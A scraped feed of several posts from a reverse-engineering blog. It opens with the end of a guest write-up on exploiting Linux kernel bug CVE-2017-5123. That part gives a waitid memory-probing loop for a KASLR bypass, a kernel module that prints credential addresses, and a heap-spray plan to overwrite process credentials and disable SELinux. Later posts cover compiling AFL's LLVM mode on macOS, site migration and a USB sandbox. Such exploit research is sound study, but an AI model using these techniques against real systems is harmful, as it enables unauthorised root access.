#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */ }; At this point we are completely blind though, we need a way to bypass KASLR and find the kernel heap.\nKASLR bypass via memory probing By using functions such as copy_from_user(), copy_to_user(), etc., we make sure that a kernel OOPS won\u0026rsquo;t happen when a bad address is specified by the user due to the page fault exception handler.\nThis makes sense, since unprivileged users shouldn\u0026rsquo;t be able to cause a DoS whenever they present an address that does not belong to the address space of the user space process.\nThe same happens by using unsafe_put_user(), which means that we can do some memory probing on the range of possible locations for the kernel heap!\nI do this by using something along the lines of:\nfor(i = (char *)0xffff880000000000; ; i+=0x10000000) { pid = fork(); if (pid \u0026gt; 0) { if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) \u0026gt;= 0) { printf(\u0026#34;[+] Found %p\\n\u0026#34;, i); break; } } else if (pid == 0) exit(0); } The trick here is that waitid() won\u0026rsquo;t return EFAULT when we present it a valid address, so we can do some memory probing this way.\nThanks for the enlightenment spender, not the exploits (well actually those were pretty cool at the time) :).\nNow that we know where the kernel heap lives, how do we know where our cred\u0026rsquo;s structure live? The state of the kernel heap is pretty much unknown.\nHeap Spraying At this point I already had a clear idea of what I wanted/needed.\nIf we create hundreds or thousands of processes, hundreds or thousands of cred structures will be created in the kernel heap.\nSo my idea was to create these many processes that will check in a loop if they get euid of 0, by constantly calling geteuid().\nIf geteuid() returns 0, it means that we have hit the jackpot! From there, we can also write to cred-\u0026gt;euid - 0x10, which is cred-\u0026gt;uid.\nBy spraying the heap we increase the probability of hitting our target, but it is obviously not 100% reliable, just like Chris mentions in his heap spray.\nGiven the primitive we have, heap spraying obviously helps here :).\nWhen spraying the heap with multiple struct cred\u0026rsquo;s and observed their location, I noticed that some addresses are more likely than others to where the creds will reside, even after reboots.\nThis can be observed without the need for some kernel debugging if one wants to try it out easily, simply use this kernel module which prints where cred-\u0026gt;euid lives.\n#include \u0026lt;linux/module.h\u0026gt; #include \u0026lt;linux/init.h\u0026gt; #include \u0026lt;linux/kernel.h\u0026gt; #include \u0026lt;linux/sched.h\u0026gt; #include \u0026lt;linux/fs.h\u0026gt; // for basic filesystem #include \u0026lt;linux/proc_fs.h\u0026gt; // for the proc filesystem #include \u0026lt;linux/seq_file.h\u0026gt; // for sequence files static struct proc_dir_entry* jif_file; static int jif_show(struct seq_file *m, void *v) { return 0; } static int jif_open(struct inode *inode, struct file *file) { printk(\u0026#34;EUID: %p\\n\u0026#34;, \u0026amp;current-\u0026gt;cred-\u0026gt;euid); return single_open(file, jif_show, NULL); } static const struct file_operations jif_fops = { .owner = THIS_MODULE, .open = jif_open, .read = seq_read, .llseek = seq_lseek, .release = single_release, }; static int __init jif_init(void) { jif_file = proc_create(\u0026#34;jif\u0026#34;, 0, NULL, \u0026amp;jif_fops); if (!jif_file) { return -ENOMEM; } return 0; } static void __exit jif_exit(void) { remove_proc_entry(\u0026#34;jif\u0026#34;, NULL); } module_init(jif_init); module_exit(jif_exit); MODULE_LICENSE(\u0026#34;GPL\u0026#34;); By forking and opening /proc/jif repeatedly, we can later check the output of printk() using dmesg.\n# dmesg | grep EUID\\: [16485.192353] EUID: ffff88015e909a14 [16485.192415] EUID: ffff88015e9097d4 [16485.192475] EUID: ffff88015e909954 [16485.192537] EUID: ffff880126c627d4 [16485.192599] EUID: ffff88015e9094d4 [16485.192660] EUID: ffff88015e909414 [16485.192725] EUID: ffff88015e909294 [16485.192790] EUID: ffff88015e909054 [16485.192860] EUID: ffff8801358efdd4 [16485.192925] EUID: ffff8801358efd14 [16485.192991] EUID: ffff8801358efe94 [16485.193057] EUID: ffff88015e909354 [16485.193124] EUID: ffff88015e9091d4 [16485.193187] EUID: ffff8801358eff54 [16485.193249] EUID: ffff8801358efb94 [16485.193314] EUID: ffff8801358efa14 [16485.193381] EUID: ffff88015e909114 [16485.193449] EUID: ffff8801358ef894 [16485.193515] EUID: ffff8801358ef714 [16485.234054] EUID: ffff880125766d14 [16485.234150] EUID: ffff8801256e9954 [16485.234189] EUID: ffff8801256e9654 [16485.429875] EUID: ffff8801257661d4 [16485.429881] EUID: ffff8801256e9e94 [16485.603481] EUID: ffff8801358ef954 [16485.603543] EUID: ffff8801256e9b94 [16485.603582] EUID: ffff880126c62e94 [16485.603620] EUID: ffff8801358ef7d4 [16485.603658] EUID: ffff880126c62a14 [16485.603701] EUID: ffff880125766654 [16485.603743] EUID: ffff8801358ef654 [16485.603782] EUID: ffff8801257667d4 [16485.603824] EUID: ffff880125766a14 [16485.603864] EUID: ffff880125766b94 [16485.603906] EUID: ffff8801256e94d4 [16485.603943] EUID: ffff8801256e91d4 [16485.603979] EUID: ffff880126c62d14 [16485.604017] EUID: ffff88015e909654 [...] We can kind of guess where they might be located, but obviously it\u0026rsquo;s just guessing :).\nSo now we know that at heap base + some offset, the probability of hitting our target is kind of high compared to the rest.\nAnd so I start writing to these and adding PAGESIZE in hope that we overwrite one of these processes\u0026rsquo; credentials. If that happens, we win!\nWe can also have some fun disabling SELinux by overwriting selinux_enforcing and selinux_enabled, as seen in my other post, http://www.openwall.com/lists/oss-security/2017/10/25/2.\nThe exploit If you\u0026rsquo;ve read everything all the way down here, then I\u0026rsquo;m sure you can write your own. It\u0026rsquo;s not that hard! I\u0026rsquo;ve provided you with all the necessary information on how I exploited it. If I can, you can too :).\nThis is also more directed at presenting the exploit\u0026rsquo;s techniques given this primitive rather than this specific vulnerability. Obviously, we can do both :)\nConclusion You\u0026rsquo;ve now seen that a vulnerability of this type, by itself, can still be dangerous when exploiting the Linux kernel.\nI hope you enjoyed this write-up.\nThanks again spender, André Baptista @0xACB, and all xSTF.\nAlso a big thanks to @osxreverser for letting me post this in the legendary put.as ;).\nShout-out to .pt :).\nHappy Hacking!!\nhttps://twitter.com/uid1000\nThanks,\nFederico Bento\n","permalink":"https://reverse.put.as/2017/11/07/exploiting-cve-2017-5123/","summary":"\u003cp\u003eThis is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year\u0026rsquo;s Pwnie for Epic Achievement exploiting TIOCSTI ioctl.\u003c/p\u003e\n\u003cp\u003eDays ago he posted a video demonstrating an exploit for \u003cstrong\u003eCVE-2017-5123\u003c/strong\u003e and luckly for you I managed to convince him to do a write-up about it.\u003c/p\u003e\n\u003cp\u003eI hope you enjoy his work. Thanks Federico!\u003c/p\u003e","title":"Exploiting CVE-2017-5123"},{"content":"American fuzzy lop aka AFL is one of the easiest and best fuzzers out there and should be part of your development cycle if you care at least one bit about the security of your code.\nIts performance in OS X is a bit of a let down because of issues at fork() system call. AFL warns you about this when compiling it:\nWARNING: Fuzzing on MacOS X is slow because of the unusually high overhead of fork() on this OS. Consider using Linux or *BSD. You can also use VirtualBox (virtualbox.org) to put AFL inside a Linux or *BSD VM.\nProcess startup in OS X is a bit expensive because of all the code signature and sandbox checks (this is sort of an educated guess) and since fuzzing is a brute force approach we want to squeeze as many executions per second as possible per CPU core. Back in 2015, AFL introduced a new feature called persistent mode which does in-process fuzzing meaning not so many fork() calls. Instead of launching a new process for each new input this mode sort of rewinds the process back to the beginning and injects the new case there.\nWhile it\u0026rsquo;s possible to recompile some targets in Linux or other Unix system, there are many targets that use specific OS X features and so they can only be fuzzed within OS X. For those cases the persistent mode is definitely interesting to have working.\nToday\u0026rsquo;s you can find this feature in AFL\u0026rsquo;s llvm_mode folder. This feature requires clang to be installed, and generates new AFL wrappers called afl-clang-fast and afl-clang-fast++. To get this working in OS X isn\u0026rsquo;t straightforward because Xcode doesn\u0026rsquo;t have all the necessary features.\nBen Nagy has a Github repo called osx-afl-llvm with some Makefiles to download the necessary LLVM files and compile everything needed to generate the new wrappers. The problem is that it was last updated two years ago and it is outdated. I used it as my reference guide to get this working with latest AFL (2.45b at the time of writing) and it quickly got me into a heap of trouble. I tried to upgrade Ben\u0026rsquo;s scripts to latest LLVM (4.0.1 at the time of writing) but things changed at the LLVM side and now CMake is used instead of Makefiles to get LLVM Projects built. Since CMake is not my thing I tried to use a different way to get this compiled.\nAFL documentation refers that llvm-config is needed to get this feature compiled. This binary isn\u0026rsquo;t available with Xcode so we need to download a binary (or source and compile it) package from llvm.org.\nLet\u0026rsquo;s give it a try downloading version 4.0.1 binary package at http://releases.llvm.org/4.0.1/clang+llvm-4.0.1-x86_64-apple-darwin.tar.xz.\nFirst if we try to compile LLVM mode (after compiling main AFL) with Xcode (using Xcode 8.3.2 on Sierra 10.12.5) we get the following error:\n$ make [*] Checking for working \u0026#39;llvm-config\u0026#39;... [-] Oops, can\u0026#39;t find \u0026#39;llvm-config\u0026#39;. Install clang or set $LLVM_CONFIG or $PATH beforehand. (Sometimes, the binary will be named llvm-config-3.5 or something like that.) make: *** [test_deps] Error 1 So let\u0026rsquo;s try to point $LLVM_CONFIG to the 4.0.1 binary version we downloaded:\n$ export LLVM_CONFIG=../../clang+llvm-4.0.1-x86_64-apple-macosx10.9.0/bin/llvm-config $ make [*] Checking for working \u0026#39;llvm-config\u0026#39;... [*] Checking for working \u0026#39;clang\u0026#39;... [*] Checking for \u0026#39;../afl-showmap\u0026#39;... [+] All set and ready to build. clang -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; afl-clang-fast.c -o ../afl-clang-fast ln -sf afl-clang-fast ../afl-clang-fast++ clang++ `../../clang+llvm-4.0.1-x86_64-apple-macosx10.9.0/bin/llvm-config --cxxflags` -fno-rtti -fpic -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DVERSION=\\\u0026#34;2.45b\\\u0026#34; -Wno-variadic-macros -shared afl-llvm-pass.so.cc -o ../afl-llvm-pass.so `../../clang+llvm-4.0.1-x86_64-apple-macosx10.9.0/bin/llvm-config --ldflags` -Wl,-flat_namespace -Wl,-undefined,suppress clang -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; -fPIC -c afl-llvm-rt.o.c -o ../afl-llvm-rt.o [*] Building 32-bit variant of the runtime (-m32)... success! [*] Building 64-bit variant of the runtime (-m64)... success! [*] Testing the CC wrapper and instrumentation output... unset AFL_USE_ASAN AFL_USE_MSAN AFL_INST_RATIO; AFL_QUIET=1 AFL_PATH=. AFL_CC=clang ../afl-clang-fast -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; ../test-instr.c -o test-instr error: unable to load plugin \u0026#39;../afl-llvm-pass.so\u0026#39;: \u0026#39;dlopen(../afl-llvm-pass.so, 9): Symbol not found: __ZN4llvm24DisableABIBreakingChecksE Referenced from: ../afl-llvm-pass.so Expected in: flat namespace in ../afl-llvm-pass.so\u0026#39; make: *** [test_build] Error 1 We get unknown symbols issues. The reason for this is that we are pointing llvm-config to the downloaded clang version while using Xcode\u0026rsquo;s clang version to compile this. Both versions were compiled with different flags so some symbols are missing from Xcode\u0026rsquo;s version.\nInstead of setting the $LLVM_CONFIG let\u0026rsquo;s try to set $PATH as recommended:\n$ unset LLVM_CONFIG $ export PATH=~/Projects/afl/clang+llvm-4.0.1-x86_64-apple-macosx10.9.0/bin/:$PATH $ make [*] Checking for working \u0026#39;llvm-config\u0026#39;... [*] Checking for working \u0026#39;clang\u0026#39;... [*] Checking for \u0026#39;../afl-showmap\u0026#39;... [+] All set and ready to build. [*] Testing the CC wrapper and instrumentation output... unset AFL_USE_ASAN AFL_USE_MSAN AFL_INST_RATIO; AFL_QUIET=1 AFL_PATH=. AFL_CC=clang ../afl-clang-fast -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; ../test-instr.c -o test-instr ../test-instr.c:17:10: fatal error: \u0026#39;stdio.h\u0026#39; file not found #include \u0026lt;stdio.h\u0026gt; ^~~~~~~~~ 1 error generated. make: *** [test_build] Error 1 The binary clang version we downloaded misses the system headers so we need to point to them. This can be accomplished using the -isysroot flag. Using this flag and the downloaded clang we need to recompile the whole AFL.\nYou will need to set up the correct path to Xcode SDK you want to use. In my case I have different Xcode versions installed so I distinguish them by adding the version number to the application name.\nFilipe Cabecinhas (@filcab) suggested to use SDKROOT variable instead of -isysroot flag. This is a cleaner option instead of setting the compiler flags as I do below. In this case use\nexport SDKROOT=`xcrun --show-sdk-path` instead of the -isysroot parameter to CFLAGS and CXXFLAGS. This will use the SDK for your currently active Xcode version (the -isysroot option allows you to directly set the SDK of another non-active version).\n$ cd .. $ make clean $ CFLAGS=\u0026#34;-isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk\u0026#34; \\ CXXFLAGS=\u0026#34;-isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk\u0026#34; make [*] Checking for the ability to compile x86 code... [+] Everything seems to be working, ready to compile. cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-gcc.c -o afl-gcc set -e; for i in afl-g++ afl-clang afl-clang++; do ln -sf afl-gcc $i; done cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-fuzz.c -o afl-fuzz cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-showmap.c -o afl-showmap cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-tmin.c -o afl-tmin cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-gotcpu.c -o afl-gotcpu cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-analyze.c -o afl-analyze cc -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; afl-as.c -o afl-as ln -sf afl-as as [*] Testing the CC wrapper and instrumentation output... unset AFL_USE_ASAN AFL_USE_MSAN; AFL_QUIET=1 AFL_INST_RATIO=100 AFL_PATH=. ./afl-clang -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; test-instr.c -o test-instr echo 0 | ./afl-showmap -m none -q -o .test-instr0 ./test-instr echo 1 | ./afl-showmap -m none -q -o .test-instr1 ./test-instr [+] All right, the instrumentation seems to be working! [+] LLVM users: see llvm_mode/README.llvm for a faster alternative to afl-gcc. [+] All done! Be sure to review README - it\u0026#39;s pretty short and useful. WARNING: Fuzzing on MacOS X is slow because of the unusually high overhead of fork() on this OS. Consider using Linux or *BSD. You can also use VirtualBox (virtualbox.org) to put AFL inside a Linux or *BSD VM. NOTE: If you can read this, your terminal probably uses white background. This will make the UI hard to read. See docs/status_screen.txt for advice. Now that the main AFL code is compiled we can move to the LLVM mode version.\n$ cd llvm_mode $ CFLAGS=\u0026#34;-isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk\u0026#34; CXXFLAGS=\u0026#34;-isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk\u0026#34; make [*] Checking for working \u0026#39;llvm-config\u0026#39;... [*] Checking for working \u0026#39;clang\u0026#39;... [*] Checking for \u0026#39;../afl-showmap\u0026#39;... [+] All set and ready to build. clang -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; afl-clang-fast.c -o ../afl-clang-fast ln -sf afl-clang-fast ../afl-clang-fast++ clang++ `llvm-config --cxxflags` -fno-rtti -fpic -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DVERSION=\\\u0026#34;2.45b\\\u0026#34; -Wno-variadic-macros -shared afl-llvm-pass.so.cc -o ../afl-llvm-pass.so `llvm-config --ldflags` -Wl,-flat_namespace -Wl,-undefined,suppress clang -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; -fPIC -c afl-llvm-rt.o.c -o ../afl-llvm-rt.o [*] Building 32-bit variant of the runtime (-m32)... success! [*] Building 64-bit variant of the runtime (-m64)... success! [*] Testing the CC wrapper and instrumentation output... unset AFL_USE_ASAN AFL_USE_MSAN AFL_INST_RATIO; AFL_QUIET=1 AFL_PATH=. AFL_CC=clang ../afl-clang-fast -isysroot /Applications/Xcode8.3.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; -DVERSION=\\\u0026#34;2.45b\\\u0026#34; ../test-instr.c -o test-instr echo 0 | ../afl-showmap -m none -q -o .test-instr0 ./test-instr echo 1 | ../afl-showmap -m none -q -o .test-instr1 ./test-instr [+] All right, the instrumentation seems to be working! [+] All done! You can now use \u0026#39;../afl-clang-fast\u0026#39; to compile programs. And voilá, we have AFL LLVM mode binaries built. There is a problem with the Makefile when we try to install AFL as root, because the compilation will fail. I am not sure why this is happening, need to investigate.\n$ sudo make install [*] Checking for the ability to compile x86 code... [+] Everything seems to be working, ready to compile. [*] Testing the CC wrapper and instrumentation output... unset AFL_USE_ASAN AFL_USE_MSAN; AFL_QUIET=1 AFL_INST_RATIO=100 AFL_PATH=. ./afl-clang -O3 -funroll-loops -Wall -D_FORTIFY_SOURCE=2 -g -Wno-pointer-sign -DAFL_PATH=\\\u0026#34;/usr/local/lib/afl\\\u0026#34; -DDOC_PATH=\\\u0026#34;/usr/local/share/doc/afl\\\u0026#34; -DBIN_PATH=\\\u0026#34;/usr/local/bin\\\u0026#34; test-instr.c -o test-instr echo 0 | ./afl-showmap -m none -q -o .test-instr0 ./test-instr echo 1 | ./afl-showmap -m none -q -o .test-instr1 ./test-instr Oops, the instrumentation does not seem to be behaving correctly! Please ping \u0026lt;lcamtuf@google.com\u0026gt; to troubleshoot the issue. make: *** [test_build] Error 1 The next step is to integrate AFL into a Xcode project build using xcodebuild from the command line. We don\u0026rsquo;t need to change anything directly into the Xcode project, just set some environment variables. These are:\nSet CC and CXX to afl-clang-fast and afl-clang-fast++. Set AFL_CC and AFL_CXX to point to our downloaded binary clang and clang++ else Xcode\u0026rsquo;s clang will be used instead (and fail on symbols). Set AFL_PATH to the AFL folder we compiled it from (not sure why this is needed - maybe because no install due to the sudo problem?) $ cd Xcode_Project_Folder $ export AFL_PATH=~/Projects/afl/afl-2.45b $ CC=afl-clang-fast AFL_CC=~/Projects/afl/clang+llvm-4.0.1-x86_64-apple-macosx10.9.0/bin/clang xcodebuild -configuration Release This will build the Release version of your project (you don\u0026rsquo;t want to fuzz unoptimized version) and you can find the binary in the build folder of your project.\nUsing the persistent_demo.c sample code located at experimental/persistent_demo folder we can compare the performance increase from afl-clang versus afl-clang-fast. On a 6 core 3.5 Ghz TrashCan Mac Pro the fast version gets around 9500 executions per second while the regular version gets around 1500, a 6 times speed increase with the LLVM mode version. This is quite a huge performance gain although the sample code is very simple.\nFor example fuzzing my own Mach-O parsing library the performance gain is about 2 to 3 times which is quite considerable improvement just from a small compiler change. The AFL LLVM mode README doesn\u0026rsquo;t expect such dramatic performance gains but its benchmarks were probably based on Linux versions. Mac OS X baseline is much worse because of fork() issues so the performance gains are much more visible.\nI am not sure if this is the best way to achieve AFL\u0026rsquo;s LLVM mode in OS X. It works fine for me although it means you need to keep that clang binary installation and AFL folder somewhere and need to compile projects you want to fuzz via the command line, which isn\u0026rsquo;t really a big problem considering the benefits we get out of it.\nIf you have any tips or better ways to achieve this please drop me a mail. I couldn\u0026rsquo;t find many clues other than Ben\u0026rsquo;s work on this.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2017/07/10/compiling-afl-osx-llvm-mode/","summary":"\u003cp\u003eAmerican fuzzy lop aka \u003ca href=\"http://lcamtuf.coredump.cx/afl/\"\u003eAFL\u003c/a\u003e is one of the easiest and best fuzzers out there and should be part of your development cycle if you care at least one bit about the security of your code.\u003c/p\u003e\n\u003cp\u003eIts performance in \u003cem\u003eOS X\u003c/em\u003e is a bit of a let down because of issues at \u003cstrong\u003efork()\u003c/strong\u003e system call. \u003cem\u003eAFL\u003c/em\u003e warns you about this when compiling it:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eWARNING: Fuzzing on MacOS X is slow because of the unusually high overhead of\nfork() on this OS. Consider using Linux or *BSD. You can also use VirtualBox\n(virtualbox.org) to put AFL inside a Linux or *BSD VM.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"How to compile AFL's LLVM mode in OS X"},{"content":"This page has moved to its own website.\nYou can find it here https://papers.put.as.\nOld links are redirected, but I might have missed some so tell me if you get any dead links.\nfG!\n","permalink":"https://reverse.put.as/papers/","summary":"This page has moved to its own website.\nYou can find it here https://papers.put.as.\nOld links are redirected, but I might have missed some so tell me if you get any dead links.\nfG!","title":"Papers"},{"content":"The project has moved to GitHub at https://github.com/gdbinit/gdbinit.\n","permalink":"https://reverse.put.as/gdbinit/","summary":"The project has moved to GitHub at https://github.com/gdbinit/gdbinit.","title":"gdbinit"},{"content":"So I finally decided to bite the bullet and migrate from Wordpress to Hugo.\nI wanted to migrate out of Wordpress for a while but the amount of work required to keep the site structure due to SEO and migrating content always stopped me from doing it. I also wanted to keep the site comments feature and since I don\u0026rsquo;t like to use cloud services such as Disqus it created another big obstacle to this operation.\nI was already using Hugo to the generate Papers since I liked Hugo because of its simplicity and no external dependencies to use it. A single go binary and that\u0026rsquo;s it.\nI spent the past days revising every single blogpost (there are migration tools but they started having problems and removed my trust on them - a job well done sometimes requires patience and a lot of hard work) and converting them to markdown format used by Hugo. The link structure is the same so no broken links problems.\nAlso tried to fix some dead links since this blog is almost 10 years old and some older blog posts contain links to sites that do not exist anymore.\nI also revived some introduction to cracking and reversing tutorials blogposts that were made private in the past. Enough time has passed for the targets to not be relevant anymore in terms of commercial value.\nReversing You Control Desktops v1.2 How to bypass a protection with a single byte Mac OS X Age of Empires III 1.0.4 NO CD patch Little Snitch continued or the broken nib files! PTHPasteboard 4.4.0! Generic Mac OS X protector is found? Extended attributes in Mac OS X and Remote Buddy What’s wrong in this picture? World’s best Mac OS X reversing tutorial for newbies (or maybe not!) Serial phishing tutorial !!! It’s hot hot hot ;) Why is kernel debugging fun? Cracking a Mac OS X Screensaver Brief analysis of the VLOK protection So for now the comments possibility is gone. I might open a Github repo where issues can be used as some sort of replacement for comments (I think there are comments solutions for Hugo based on Github). Meanwhile you can always mail me or show up at #osxre IRC channel at irc.freenode.net.\nRSS should be working again. That thing was broken on my Wordpress version and I could never find time to try to fix it.\nIf you find any broken/missing links, pictures, data, files, please drop me a tweet or mail.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2017/06/20/blog-migration-to-hugo/","summary":"\u003cp\u003eSo I finally decided to bite the bullet and migrate from \u003ca href=\"https://wordpress.org\"\u003eWordpress\u003c/a\u003e to \u003ca href=\"https://gohugo.io\"\u003eHugo\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eI wanted to migrate out of Wordpress for a while but the amount of work required to keep the site structure due to SEO and migrating content always stopped me from doing it. I also wanted to keep the site comments feature and since I don\u0026rsquo;t like to use cloud services such as Disqus it created another big obstacle to this operation.\u003c/p\u003e","title":"Blog migration to Hugo"},{"content":"Some time ago a friend received a mysterious USB pen with a note talking about some kind of heavily persistent malware. He had that USB pen stored untouched and of course my curiosity took over. Since one should never plug in unknown USB devices into a computer (well, any USB device we purchase is unknown but that is another story) and I didn\u0026rsquo;t want to \u0026ldquo;burn\u0026rdquo; a computer just to take a look at the contents I decided to use my USB armory to build an air gap sandbox that would be harder to infect and for malware to escape from it.\nThe USB armory is a small computer on a USB stick, providing an ARM A8 800 MHz CPU and 512MB RAM, and it\u0026rsquo;s versatile enough to implement all kinds of interesting scenarios. One of its most interesting features for this project is secure boot, called High Assurance Boot, that allows better integrity of our USB armory platform. Amusing enough, last week there was a security advisory regarding this feature. Assuming for now that no vulnerabilities exist in its secure boot, the USB armory is a very interesting platform to have a reasonable hardware integrity level because we can fuse our PKI keys into the secure boot and just replace the microSD card per analysis target. There aren\u0026rsquo;t a lot of vectors for targeted malware to achieve hardware persistency and make the device unusable from a forensics point of view (meaning a permanent rootkit that could taint our analysis forever). The device can be ordered from Inverse Path. For this project you also need to order an host adapter - without it we can\u0026rsquo;t implement this project.\nThe armory can be used in two modes, host and non-host mode. The non-host mode is the default mode, which allows you to plug the device into a USB port and can access it via an IP address (it uses CDC Ethernet emulation to achieve this feature). It is essentially another computer plugged in into any computer. This configuration is interesting for hosting secure data, some kind of HSM, a secure messenger, TOR router, password manager, secure Bitcoin wallet, and so on. This wiki entry lists many other applications. Anything where hardware integrity is important because the device is so small that you can always carry it with you.\nThe host mode is the interesting mode for this project. In this configuration the USB armory is a standalone computer. We can attach other USB devices to it, for example, a keyboard, a USB monitor, a Ethernet and/or Wi-Fi dongle, and so on. As long as there are Linux drivers you can attach them 